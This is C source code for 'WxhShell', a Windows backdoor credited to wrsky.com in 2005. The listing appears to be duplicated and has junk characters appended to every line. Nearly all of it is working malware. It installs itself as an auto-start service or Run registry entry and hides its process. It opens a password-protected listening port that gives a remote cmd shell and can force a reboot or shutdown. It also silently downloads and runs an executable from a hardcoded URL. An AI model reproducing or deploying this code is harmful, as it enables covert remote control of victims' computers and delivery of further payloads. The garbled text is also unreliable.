    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !lhFKb;  
    if(Boot(SHUTDOWN)) <GaT|Hhc=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`?n,'!(  
    else { @^!\d#/M  
    closesocket(wsh); \!<"7=(J{4  
    ExitThread(0); b/nOdFO@  
    } +*C^:^jA  
    break; >$uUuiyL4  
    } e\r7BW\Y  
  // 获取shell pDOM:lGya  
  case 's': { oIb) Rq!m  
    CmdShell(wsh); Y 9i][  
    closesocket(wsh); < eQ[kM  
    ExitThread(0); &2{]hRM  
    break; :_Fxy5}  
  } Hd 0Xx}3&  
  // 退出 Vv7PCaq  
  case 'x': { Xhse~=qA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P>wZ~Hjk  
    CloseIt(wsh); #h N.=~  
    break; .!yq@Q|=u  
    } 4fty~0i=z  
  // 离开 uoCGSXsi  
  case 'q': { Szts<n5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SKR;wu  
    closesocket(wsh); G#0,CLGN^  
    WSACleanup(); #ZlM?Q  
    exit(1); ;& ~929  
    break; !BUi)mo  
        } Rg&19 }BU  
  } -NzTqLBn  
  } gI{ =0  
<HF-2?`  
  // 提示信息 bMmra.x4L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9|=nV|R'6  
} qlUzr.^-  
  } B+46.bIH  
! =WcF5  
  return; .&iN(Bd  
} A"4@L*QV  
3ji:O T  
// shell模块句柄 OQFi.  8  
int CmdShell(SOCKET sock) L/x(RCD  
{ @9vvR7{P  
STARTUPINFO si; X *O9JGh  
ZeroMemory(&si,sizeof(si)); N09KVz2Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =dGKF`tR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s}(X]Gx1  
PROCESS_INFORMATION ProcessInfo; ~ziexZ=N  
char cmdline[]="cmd"; }g{_AiP rv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2y kCtRe  
  return 0; 9p`r7:  
} JIxiklk  
M&yqfb[  
// 自身启动模式 J=*K"8Qr  
int StartFromService(void) )GJP_*Ab  
{ Qh-4vy =r  
typedef struct m7m \`;  
{ cPuHLwwYf  
  DWORD ExitStatus; e$wt&^W  
  DWORD PebBaseAddress; Uh}X<d/V  
  DWORD AffinityMask; Spgg+;9  
  DWORD BasePriority; B 8{ uR  
  ULONG UniqueProcessId; jczq `yW  
  ULONG InheritedFromUniqueProcessId; sRq U]i8l  
}   PROCESS_BASIC_INFORMATION; Pp*}R2  
~@P)tl>  
PROCNTQSIP NtQueryInformationProcess; j=ihbR^]Tl  
Q2c*.Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N9]xJgTze  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RmOyGSO  
4seciz0?  
  HANDLE             hProcess; Rp/-Pv   
  PROCESS_BASIC_INFORMATION pbi; x?L hq2  
O2v.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5pJ*1pfeo  
  if(NULL == hInst ) return 0; L~eAQR  
b Us|t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IN^_BKQt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V@Wcb$mgk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uV~e|X "9s  
:woa&(wN;1  
  if (!NtQueryInformationProcess) return 0; r )b<{u=]  
{?i)K X^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D{C:d\ e)$  
  if(!hProcess) return 0; J^ ={}  
cy1jZ1)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; doD>m?rig3  
><Uk*mwL  
  CloseHandle(hProcess); wL2XNdo}<  
D1Yh,P<CF\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;+`uER  
if(hProcess==NULL) return 0; e<5Y94YE  
<TxC!{<  
HMODULE hMod; *48IF33&s  
char procName[255]; SRCOs1(EK9  
unsigned long cbNeeded; %&<W(|U1<  
4* M@]J "  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p4wr`" Zz  
V`k8j-*s  
  CloseHandle(hProcess); r7I B{}>-  
m:{tgcE  
if(strstr(procName,"services")) return 1; // 以服务启动 M<[ ?g5=#  
CgnXr/!L  
  return 0; // 注册表启动 VXIQw' Cq  
} XP;x@I#l  
~>%DKJe  
// 主模块 Zq*eX\#C  
int StartWxhshell(LPSTR lpCmdLine) uA\J0"0; }  
{ \L[i9m|e  
  SOCKET wsl; VPd,]]S5(  
BOOL val=TRUE; n+oDC65[  
  int port=0; <LA^%2jT  
  struct sockaddr_in door; ( v@jc8y  
VJ{pN~_1  
  if(wscfg.ws_autoins) Install(); SI*^f\lu  
< y>:B}9'  
port=atoi(lpCmdLine); )i!^]|$   
PayV,8   
if(port<=0) port=wscfg.ws_port; Fe$/t(  
@ls.&BHUP  
  WSADATA data; jO)&KEh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; daX*}Ix  
1r 571B*O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cwynd=^nC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %EI<@Ps8c  
  door.sin_family = AF_INET; DU{bonR`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d 4O   
  door.sin_port = htons(port); s[c^"@HT  
jJ++h1 K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~7SH4Cr  
closesocket(wsl); nGrVw&  
return 1; yP\Up  
} 8A{6j  
7X'y>\^w^>  
  if(listen(wsl,2) == INVALID_SOCKET) { ;NsO  
closesocket(wsl); vWY(%Q,  
return 1; r4eUZ .8R  
} RP` `mI  
  Wxhshell(wsl); T[.[ g/`  
  WSACleanup(); QzthTX<  
.>]N+:O  
return 0; OVswt  
dZ2`{@AYY  
} 8$}OS-  
2)\vj5<~$  
// 以NT服务方式启动 t(?<#KUB-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7+ XM3  
{ gfo}I2"  
DWORD   status = 0; 'sU)|W(3U  
  DWORD   specificError = 0xfffffff; &" h]y?Q  
"mZ.V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?R6`qe_F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0BTLcEqgZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <_:zI r,  
  serviceStatus.dwWin32ExitCode     = 0; (pYYkR"  
  serviceStatus.dwServiceSpecificExitCode = 0; H(qm>h$bU  
  serviceStatus.dwCheckPoint       = 0; :vQM>9l7  
  serviceStatus.dwWaitHint       = 0; 0Nr\2|  
kuS/S\Z5K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3Gd0E;3sk~  
  if (hServiceStatusHandle==0) return; I@./${o  
>XE`h 9  
status = GetLastError(); ,w`~K:b.  
  if (status!=NO_ERROR) yJD >ny  
{ y1,5$0@G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U e*$&VlT  
    serviceStatus.dwCheckPoint       = 0; {ZqQ!!b  
    serviceStatus.dwWaitHint       = 0; K $-;;pUl  
    serviceStatus.dwWin32ExitCode     = status; +hH}h?K  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lq0 4T0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F6dr  
    return; gdi`x|0  
  } yQ[u3tI  
e@jfIF0=}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y @}FL;3  
  serviceStatus.dwCheckPoint       = 0; m6U8)!)T  
  serviceStatus.dwWaitHint       = 0; s~$zWx@v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =`p&h}h-L  
} l$XA5#k  
hC>wFC  
// 处理NT服务事件,比如:启动、停止 - ]Y wl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6k9LxC:M  
{ X8CVY0<o  
switch(fdwControl) _01Px a2.  
{ b UvK  
case SERVICE_CONTROL_STOP: l)8sw=  
  serviceStatus.dwWin32ExitCode = 0; 7/>a:02  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A&N*F"q  
  serviceStatus.dwCheckPoint   = 0; n,nisS  
  serviceStatus.dwWaitHint     = 0; }O*WV1  
  { V/bH^@,sA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~`Sle xK|}  
  } [ud|dwP"  
  return; .,mPdVof  
case SERVICE_CONTROL_PAUSE: (hf zM+2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AMT slo  
  break; h5-d;RKE  
case SERVICE_CONTROL_CONTINUE: \cZfg%PN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8p =>?wG  
  break; iz`jDa Q|1  
case SERVICE_CONTROL_INTERROGATE: V^En8  
  break; cU+>|'f &  
}; d8:C3R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gah lS*W  
} }1>atgq]w  
9^zx8MRXd  
// 标准应用程序主函数 t!jwY/T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V2Y$yV8g1  
{ mo9$NGM&}  
;0j*>fb\q7  
// 获取操作系统版本 k/#>S*Ne  
OsIsNt=GetOsVer(); u(hC^T1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 263*: Y  
d@>\E/zA  
  // 从命令行安装 }ywi"k4>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ./.=Rw  
:[?!\m%0  
  // 下载执行文件 %fpsc _  
if(wscfg.ws_downexe) { =pp:j`B9(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7bT /KLU  
  WinExec(wscfg.ws_filenam,SW_HIDE); J@` 8(\(  
} DHzkRCM  
7;xKy'B\  
if(!OsIsNt) { q\H7& w  
// 如果时win9x,隐藏进程并且设置为注册表启动 1+^n!$  
HideProc(); $L&BT 0  
StartWxhshell(lpCmdLine); AbZ:(+@cP  
} XV5`QmB9  
else U;gp)=JNT  
  if(StartFromService()) 4$Pr|gx  
  // 以服务方式启动 #!d]PH746  
  StartServiceCtrlDispatcher(DispatchTable); b-nYxd  
else mV zu~xym  
  // 普通方式启动 @?/\c:cp  
  StartWxhshell(lpCmdLine); DV,DB\P$  
Jvj=I82  
return 0; GCH[lb>IJv  
} UUm |@  
XU-*[\K  
{!t=n   
8IJ-]wHIb  
=========================================== {8:o?LnMW  
^&m?qKN8  
.e$%[ )D  
'w6hW7"L  
UE7'B?  
w `!LFHK  
" `,Zb2"  
g)cY\`&W8  
#include <stdio.h> 3{pk5_c  
#include <string.h> x@Vt[}e  
#include <windows.h> (UcFNeo  
#include <winsock2.h>  tgW kX  
#include <winsvc.h> /e<5Np\X  
#include <urlmon.h> 0||F`24  
Ilef+V^qr  
#pragma comment (lib, "Ws2_32.lib") p`p?li  
#pragma comment (lib, "urlmon.lib") k<O y%+C  
%M6 c0d[9-  
#define MAX_USER   100 // 最大客户端连接数 C8MWIX}  
#define BUF_SOCK   200 // sock buffer jGiw96,Y  
#define KEY_BUFF   255 // 输入 buffer 4:`[qE3  
raHVkE{<  
#define REBOOT     0   // 重启 2Oi'E  
#define SHUTDOWN   1   // 关机 % $.vOFP9  
' =}pxyg  
#define DEF_PORT   5000 // 监听端口 X <FOn7qf  
0BFz7  
#define REG_LEN     16   // 注册表键长度 ! tr9(d  
#define SVC_LEN     80   // NT服务名长度 `Sx.|`x8  
Yj3*)k  
// 从dll定义API QQ~23TlA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2L[l'}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~#t*pOC5BR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kF2Qv.5!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j"6:A  
>KHp-|0pv  
// wxhshell配置信息 ,-:a?#f>  
struct WSCFG { P57GqT  
  int ws_port;         // 监听端口 m9Il\PoTq  
  char ws_passstr[REG_LEN]; // 口令 :iEAUM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4Pf+]R  
  char ws_regname[REG_LEN]; // 注册表键名 "ZqEP R)  
  char ws_svcname[REG_LEN]; // 服务名 ZM 8U]0[X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BPiiexTV9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E [*0Bo]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7vq DZg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dt|fDw$]D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 19&)Yd1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1b+h>.gWar  
m2ox8(sd  
}; p2^)2v  
j%u8=  
// default Wxhshell configuration $^IjFdD  
struct WSCFG wscfg={DEF_PORT, ,P~QS  
    "xuhuanlingzhe", !U[:5@s06  
    1, Pv[ykrm/  
    "Wxhshell", 2_.CX(kI  
    "Wxhshell", L?Tu)<Mn  
            "WxhShell Service", kz_M;h>  
    "Wrsky Windows CmdShell Service", kkL(;H:%  
    "Please Input Your Password: ", F~'sT}A*  
  1, [x|)}P7%s  
  "http://www.wrsky.com/wxhshell.exe", <k5`&X!+  
  "Wxhshell.exe" vgN@~Xa  
    }; F Nlx1U[  
ExqM1&zpK  
// 消息定义模块 j^{b^!4~}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =t HD 4I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c l9$g7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c`pYc  
char *msg_ws_ext="\n\rExit."; :-U53}Iy  
char *msg_ws_end="\n\rQuit."; B/rzh? b  
char *msg_ws_boot="\n\rReboot..."; Qqh^E_O  
char *msg_ws_poff="\n\rShutdown..."; S,VyUe4P4  
char *msg_ws_down="\n\rSave to "; |lY`9-M`I  
_C5nApb  
char *msg_ws_err="\n\rErr!"; A`g.[7  
char *msg_ws_ok="\n\rOK!"; K,]woNxaw  
~\3l!zIq  
char ExeFile[MAX_PATH]; IBDVFA  
int nUser = 0; lZBv\JE  
HANDLE handles[MAX_USER]; C,(j$Id  
int OsIsNt; 1j+eD:d'  
\:h0w;34O  
SERVICE_STATUS       serviceStatus; Eh:yR J_8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :Nkz,R?  
&D^e<j}RQ  
// 函数声明 8a?IC|~Pz  
int Install(void); i"< ZVw  
int Uninstall(void); Pm~,Ky&Hl  
int DownloadFile(char *sURL, SOCKET wsh); 9V.+U7\w  
int Boot(int flag); /K[]B]1NE  
void HideProc(void); ^SgN(-QH  
int GetOsVer(void); |Cu1uwy  
int Wxhshell(SOCKET wsl); !*9FKDB{  
void TalkWithClient(void *cs); yZ?$8r  
int CmdShell(SOCKET sock); x!>d 6lgej  
int StartFromService(void); pA*i!.E/b  
int StartWxhshell(LPSTR lpCmdLine); aw]8V:)$J  
k,A M]H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uRFNfX(*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8cB=}XgYS  
@::lJDGVv  
// 数据结构和表定义 @\+%GDv  
SERVICE_TABLE_ENTRY DispatchTable[] = ";o~&8?)  
{ {rz>^  
{wscfg.ws_svcname, NTServiceMain}, raSF3b/0  
{NULL, NULL} @ }ZGY^  
}; + 2OZJVJ  
{({ R:!c  
// 自我安装 !eV^Ah>PZ  
int Install(void) Zi ma^IL  
{ 4bE42c=Ca7  
  char svExeFile[MAX_PATH]; ]bf'  
  HKEY key; 7bHE!#L`0  
  strcpy(svExeFile,ExeFile); =%xIjxYl  
ta@ ISRK  
// 如果是win9x系统,修改注册表设为自启动 wQ@Zw bx  
if(!OsIsNt) { f]hBPkZ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"(_mW{@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  I.UjST  
  RegCloseKey(key); C"k2<IE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ 0av3G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BF>T*Z-Ki  
  RegCloseKey(key); 1xq3RD  
  return 0; av"Dljc  
    } C-_(13S  
  } * q+oeAYX  
} Ct-rD79l  
else { N!]PIWnC  
,nI_8r"M>  
// 如果是NT以上系统,安装为系统服务 \A` gK\/h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :{x!g6bK@  
if (schSCManager!=0) kBQ5]Q"  
{ C+DG+_%V*S  
  SC_HANDLE schService = CreateService _xa}B,H  
  ( 2-QuT"Gkd  
  schSCManager, {_rZRyr  
  wscfg.ws_svcname, 'W}~)+zK  
  wscfg.ws_svcdisp, g9M')8a n  
  SERVICE_ALL_ACCESS, u<$S>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?0? x+  
  SERVICE_AUTO_START, v`@5enr  
  SERVICE_ERROR_NORMAL, HI}pX{.\  
  svExeFile, Z3OZPxm  
  NULL, ,G/\@x%  
  NULL, 8}Fw%;Cb  
  NULL, zuK/(qZ  
  NULL, z]'|nX  
  NULL -$'~;O3s  
  ); 3csm`JVK  
  if (schService!=0) M-{b  
  { vd2uD2%con  
  CloseServiceHandle(schService); Q@PJ)fwN  
  CloseServiceHandle(schSCManager); oH!$eAU?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `i"$*4#<  
  strcat(svExeFile,wscfg.ws_svcname); #FrwfJOV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C3&17O6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "bv,I-\  
  RegCloseKey(key); x8\E~6`,  
  return 0; d/"gq}NT  
    } R>Z,TQU  
  } +s#S{b  
  CloseServiceHandle(schSCManager); 45]Ym{]  
} 7f.4/x^  
} !%SdTaC{T  
)6O\WB|  
return 1; nXx6L!HJ#  
} {JCSR2BB  
v!WU |=u  
// 自我卸载 QC$=Fs5+  
int Uninstall(void) }S'I DHla  
{ U>e3_td3,  
  HKEY key; 6n2Vx1b  
_ C7abw-  
if(!OsIsNt) { n's2/9x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x@{G(W:W  
  RegDeleteValue(key,wscfg.ws_regname); 'w>uFg1.  
  RegCloseKey(key); DLwC5Iir  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <~IH`  
  RegDeleteValue(key,wscfg.ws_regname); hNu>s  
  RegCloseKey(key); ">0/>>Ry  
  return 0; > gA %MT  
  } X67C;H+  
} '6Pu[^x  
} =:t@;y  
else { +G3nn!g l4  
Pn'QOVy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DTX/3EN  
if (schSCManager!=0) "1gk-  
{ 2?#y |/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M"$jpBN*  
  if (schService!=0) pfJVE  
  { 3Hb .Z LE#  
  if(DeleteService(schService)!=0) { pIU#c&%<9  
  CloseServiceHandle(schService); Zztt)/6*  
  CloseServiceHandle(schSCManager); pq/ FLYiv  
  return 0; Thht_3_C,f  
  } v*C+U$_3\1  
  CloseServiceHandle(schService); lx A<iQia  
  } S0Rf>Eo4  
  CloseServiceHandle(schSCManager); 7?n* t  
} (hRgYwUa<  
} 89:?.'  
mVc'%cPaw  
return 1; {2'74  
} j. ks UJ  
ims=-1,  
// 从指定url下载文件 &vJ(P!2f<  
int DownloadFile(char *sURL, SOCKET wsh) fl5UY$a2-  
{ YW4b m  
  HRESULT hr; {WM&  
char seps[]= "/"; 3isXgp8  
char *token; wB1-|= K1  
char *file; bJG!)3cx  
char myURL[MAX_PATH]; b]tA2~e  
char myFILE[MAX_PATH]; n]6}yJJo  
@4 Os?_gJ\  
strcpy(myURL,sURL); -N-4l  
  token=strtok(myURL,seps); %>I?'y^  
  while(token!=NULL) c'TiWZP~  
  { Y*5@|Q  
    file=token; M&}oat*  
  token=strtok(NULL,seps); _Vk,&'  
  } HwV gT"  
WacU@L $A  
GetCurrentDirectory(MAX_PATH,myFILE); KL:6P-3  
strcat(myFILE, "\\"); c4qp3B_w  
strcat(myFILE, file); M'>D[5;N~  
  send(wsh,myFILE,strlen(myFILE),0); m_r@t*  
send(wsh,"...",3,0); Up!ZCZ$RC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |)!k @?_  
  if(hr==S_OK) Z CQt1;  
return 0; 3-_U-:2"  
else "t%1@b*u  
return 1; vxzf[  
gn[$;*932z  
} Z@c0(ol  
3wa<,^kqy  
// 系统电源模块 |Ad6~E+aL-  
int Boot(int flag) gv Rc:5B[  
{ QU,TAO  
  HANDLE hToken; &)"7am(S`  
  TOKEN_PRIVILEGES tkp; nM(=bEX  
cV=_G E  
  if(OsIsNt) { '7O{*=`oj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v,!Y=8~9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s:m<(8WRw  
    tkp.PrivilegeCount = 1; tsSS31cv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eN2k8=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5>4A}hSe  
if(flag==REBOOT) { 3 q.[-.q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .olP m3MC  
  return 0; 1$3XKw'  
} faL^=CAe  
else { gQk#l\w _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~d#;r5>  
  return 0; Y+"hu2aPkY  
} [ilv/V<  
  } d6d(? "  
  else { 4-}A'fTU8  
if(flag==REBOOT) { @L>NN>?SGQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >gOI]*!5  
  return 0; !+|N<`  
} C$..w80/1  
else { (61twutC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K+\0}qn  
  return 0; ~a8G 5M  
} 5S-o 2a  
} YL&b9e4  
1UA~J|&gi^  
return 1;  /nD0hb  
} M5ySs\O4  
lA Ck$E  
// win9x进程隐藏模块 x}8T[  
void HideProc(void) sKG~<8M}  
{ i37a}.;  
]stLC; nI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g`5`KU|  
  if ( hKernel != NULL ) Uc4 L|:  
  { GZhfA ;O,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d;jJe0pH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zhvk%Y:  
    FreeLibrary(hKernel); TLL[F;uZ  
  } 6t mNfI34  
_F/lY\vm  
return; 4pTu P /  
} a a Y Q<  
8yo6v3JqC  
// 获取操作系统版本 +q_lYGTiO  
int GetOsVer(void) A@  
{ WJh;p: q[  
  OSVERSIONINFO winfo; Ag-?6v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cmGj0YUQ1  
  GetVersionEx(&winfo); ga1gd~a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M?4r5R  
  return 1; j+B5m:ExfI  
  else 6q uWO2x  
  return 0; D@b<}J>0'  
} T~~$=vP9  
`Py= ?[cD  
// 客户端句柄模块 )Fr;'JYC1S  
int Wxhshell(SOCKET wsl) ^B6i6]Pd=9  
{ b\Xu1>  
  SOCKET wsh; a^}P_hg}-  
  struct sockaddr_in client; J0*]6oD!  
  DWORD myID; Nec(^|[   
:_YG/0%I  
  while(nUser<MAX_USER) a$! {Tob2  
{ % x*Ec[l  
  int nSize=sizeof(client); =!P?/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Iv|WeSL.  
  if(wsh==INVALID_SOCKET) return 1; ~G ^}2#5  
QB|fFj58u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =wR]X*Pan  
if(handles[nUser]==0) g(Xg%&@KZ  
  closesocket(wsh); 5iI3u 7Mn1  
else Md?bAMnG+}  
  nUser++; Rd1ku=  
  } w3bH|VnU8;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a4CNPf<$  
tDLk ZCP  
  return 0; Qx,$)|_  
} 3(GrDO9^  
yjFQk,A  
// 关闭 socket 2:5gMt  
void CloseIt(SOCKET wsh) \^(vlcy  
{ 7 KdM>1!  
closesocket(wsh); Q|H cg|  
nUser--; /,@v"mE7c!  
ExitThread(0); tfKeo|DM"  
} a*8.^SdzR  
;@Hi*d[  
// 客户端请求句柄 e%c5 OZ3~  
void TalkWithClient(void *cs) K#sb"x`  
{ /uz5V/i0  
?N?pe}  
  SOCKET wsh=(SOCKET)cs; pr,1Wp0l  
  char pwd[SVC_LEN]; KJJb^6P48W  
  char cmd[KEY_BUFF]; `rdfROKv  
char chr[1]; WAmoKZw2  
int i,j; R6$F<;nw  
GV@E<dg$R  
  while (nUser < MAX_USER) { <^'+ ]?  
jhbH6=f4]^  
if(wscfg.ws_passstr) { {2clOUi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _,0!ZP-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = hX-jP  
  //ZeroMemory(pwd,KEY_BUFF); U+r#Y E.  
      i=0; v9`B.(Ru  
  while(i<SVC_LEN) { =bg&CZV T  
Fx:en|g  
  // 设置超时 tKsM}+fq  
  fd_set FdRead; SF7b1jr  
  struct timeval TimeOut; g2>u]3&W  
  FD_ZERO(&FdRead); wJR i;fvi  
  FD_SET(wsh,&FdRead); H1j6.i}q  
  TimeOut.tv_sec=8; vG_v89t!ex  
  TimeOut.tv_usec=0; 0t[mhmSU,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  2:/MN2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z==}~|5  
yxUVM`.~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q[+: t   
  pwd=chr[0]; &trh\\I"  
  if(chr[0]==0xd || chr[0]==0xa) { -LK(C`gB  
  pwd=0; f=O>\  
  break; g+r{>x  
  } BCZnF /Zo  
  i++; PZg]zz=V4  
    } uvv-lAbjw  
[%,=0P}  
  // 如果是非法用户,关闭 socket PyxN_agf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  mFoK76  
} DSZhl-uGM  
AbI*/ |sY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4x?u5L 9o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9.#R?YP$  
>8;%F<o2  
while(1) { d4h(F,K7V  
)[X!/KR90  
  ZeroMemory(cmd,KEY_BUFF); )bU")  
fvMhq:Bu  
      // 自动支持客户端 telnet标准   bK;a V&  
  j=0; IeI% X\G  
  while(j<KEY_BUFF) { :9q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UMW^0>Z!v  
  cmd[j]=chr[0]; $hp?5K M  
  if(chr[0]==0xa || chr[0]==0xd) { (IHBib "  
  cmd[j]=0; il%tu<E#J~  
  break; !;C(pnE  
  } R{A/ +7!  
  j++; H08YM P>dc  
    } iSLf:  
f> [;|r@K  
  // 下载文件 JP@m%Yj  
  if(strstr(cmd,"http://")) { X&oy.Roo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -vfu0XI~  
  if(DownloadFile(cmd,wsh)) f_2^PF>?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5nqdY*  
  else Q09~vFBg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vS__*} ^  
